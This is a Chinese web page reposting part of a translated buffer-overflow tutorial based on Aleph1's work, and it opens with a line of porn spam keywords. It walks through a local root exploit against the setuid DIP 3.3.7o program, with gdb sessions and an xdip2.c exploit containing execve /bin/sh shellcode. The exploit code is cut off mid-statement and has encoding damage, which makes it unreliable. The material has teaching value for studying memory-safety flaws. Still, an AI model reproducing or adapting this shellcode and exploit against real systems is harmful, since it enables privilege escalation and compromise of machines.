欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

緩沖區(qū)溢出解密四

互聯(lián)網(wǎng)   發(fā)布時間:2008-10-08 19:04:01   作者:佚名   我要評論
來自Aleph1的文章: “可見這不是一個有效的過程。甚至在知道堆棧開始的位置時,試圖猜測偏移地址幾乎是不可能的。好的情況下我會需要上百次嘗試,壞的情況下會要上千次。問題是我們需要*準確*的猜測出我們代碼將開始的地址位置。如果我們偏了大概一個字

來自Aleph1的文章:
“可見這不是一個有效的過程。甚至在知道堆棧開始的位置時,試圖猜測偏移地址幾乎是不可能的。好的情況下我會需要上百次嘗試,壞的情況下會要上千次。問題是我們需要*準確*的猜測出我們代碼將開始的地址位置。如果我們偏了大概一個字節(jié),我們將得到一個段侵犯或者無效指令。一個提高我們機會的方法是在我們溢出緩沖區(qū)開頭填NOP指令。幾乎所有的處理器都有NOP指令執(zhí)行一個空操作。它經(jīng)常被用來為了時間目的延遲執(zhí)行。我們將利用它,并且用它們填充我們一半的溢出緩沖區(qū)。我們將在中間放置我們的shellcode,接著在它后面跟著返回地址。如果我們走運,而返回地址指向NOP字符串的任何位置,它們將被執(zhí)行直到它們遇到我們的代碼。在Intel構(gòu)架中,NOP指令是1個字節(jié)長在機器碼中它轉(zhuǎn)換成0x90。假設堆棧從地址0xFF開始,S表示shell代碼,N表示一個NOP指令,新的堆??赡芸雌饋硐筮@樣:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
這里,我們*猜測*地址。通過下面的子程序我們得到了當前存儲在ESP寄存器中的地址:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
有了上面這個函數(shù)的幫助,我們可以有一個內(nèi)存中堆棧指針可能在哪兒的*想法*。接著,我們從這個SP的地址中減去偏移量。如果我們足夠幸運的話,我們可以猜到緩沖區(qū)中一個NOP的地址。(然而,注意到getesp()不返回漏洞程序的ESP。它是我們漏洞利用程序的ESP。它僅僅考慮了一個范圍。)
為了闡明這兩個方法的不同之處,讓我們寫兩個漏洞利用程序,應用一下目前為止我們所學的。
漏洞利用程序
現(xiàn)在我們知道了,什么是緩沖區(qū)溢出,知道如何利用緩沖區(qū)溢出覆蓋返回地址,知道我們怎樣能修改一個函數(shù)的返回地址,不必多說了。讓我們編寫漏洞利用程序。在DIP(Dial-Up IP Protocol)程序的3.3.7o-uri(8 Feb 96)版本中,有一個緩沖區(qū)溢出漏洞。在一些Linux發(fā)布版本中這個程序是默認setuid。
這個-l選項是有問題的。dip代碼沒有小心處理這個作為由用戶傳給程序的一個參數(shù)的值,沒有邊界檢測,它僅僅stpcpy()作為參數(shù)的任何內(nèi)容給一些本地緩沖區(qū),這些緩沖區(qū)只能存有限的數(shù)據(jù);因此增加了一個緩沖區(qū)溢出的風險。
漏洞代碼如:
l = stpcpy(l, argv[i]);
如果你看stpcpy的手冊頁($man 3 stpcpy);stpcpy,不考慮它所處理的緩沖區(qū)的邊界,它把整個數(shù)組拷貝給另外一個。這里我們需要做的是:

1.在Aleph的方法中,用一些NULL操作(NOP)填到至少一半的緩沖區(qū),接著放置你的shellcode和猜測一個NOP或者shellcode本身的地址。2.在我們的方法中,由于我們準確的知道我們shellcode在內(nèi)存中的位置,我們僅僅拷貝這個地址到整個數(shù)組。
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x29'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Segmentation fault
[murat@victim murat]$
從上面可以看到,當我們寫29個ABCD(29 * 4 = 116字節(jié))什么都沒有發(fā)生,然而當我們寫30個ABCD(30 * 4 = 120 bytes)的時候,程序出現(xiàn)了段侵犯。它沒有core dump,因為程序是setuid root權(quán)限的。讓我們成為root,看看當我們給-l選項提供一個120字節(jié)的字符串時會發(fā)生什么:
[murat@victim murat]$ su
[root@victim murat]# gdb -q /usr/sbin/dip
(no debugging symbols found)...
(gdb) set args -k -l `perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l `perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x444342 in ?? ()
(gdb)
(gdb) i r
eax 0xb4 180
ecx 0xb4 180
edx 0x0 0
ebx 0x1 1
esp 0xbffffcd4 0xbffffcd4
ebp 0x41444342 0x41444342
esi 0x4 4
edi 0x805419e 134562206
eip 0x444342 0x444342
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) 從這里可以看出,堆棧指針(ESP)和這個被保護的返回地址被我們的字符串”ABCD”覆蓋了。在Ascii中:
A is 0x41, B is 0x42, C is 0x43, D is 0x44
注意到基本指針寄存器,它是:
ebp 0x41444342 0x41444342
這里的值是ADCB。這也意味著我們不能排列這個字符串。我們需要把字符串左移一個字節(jié),這樣ABCD適合一個4字節(jié)內(nèi)存單元。這樣的話:
(gdb) set args -k -l A`perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l A`perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..AABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r
eax 0xb5 181
ecx 0xb5 181
edx 0x0 0
ebx 0x1 1
esp 0xbffffcd4 0xbffffcd4
ebp 0x44434241 0x44434241
esi 0x4 4
edi 0x805419e 134562206
eip 0x44434241 0x44434241
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb)
可以看到,我們多加了一個A到我們的緩沖區(qū)開頭,這樣現(xiàn)在EIP和EBP寄存器都是:0x44434241,即我們可以校正我們的字符串了。 我將寫兩個漏洞利用程序。每一個將用一個不同的方法。第一個將是”經(jīng)典技術(shù)”而另外一個將是環(huán)境變量技術(shù)。你比較這兩個時,你將很容易地看出之間的不同,并且明白沒有必要去嘗試猜測奇怪的偏移。請注意,環(huán)境變量方法只有當是本地漏洞的時候才有用。
這里是用經(jīng)典方法的:
xdip2.c :
#include
#include
#include
#include
#define BUF 130
#define NOP 0x90
#define ALIGN 1
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
if (argc
讓我詳細說明這個漏洞利用程序:
我們定義我們的緩沖區(qū)為130個字節(jié)長,因為一個121字節(jié)的數(shù)組對于我們來說是足夠了,定義NULL操作指令的運算碼為0x90,Alignment為1。

相關文章

最新評論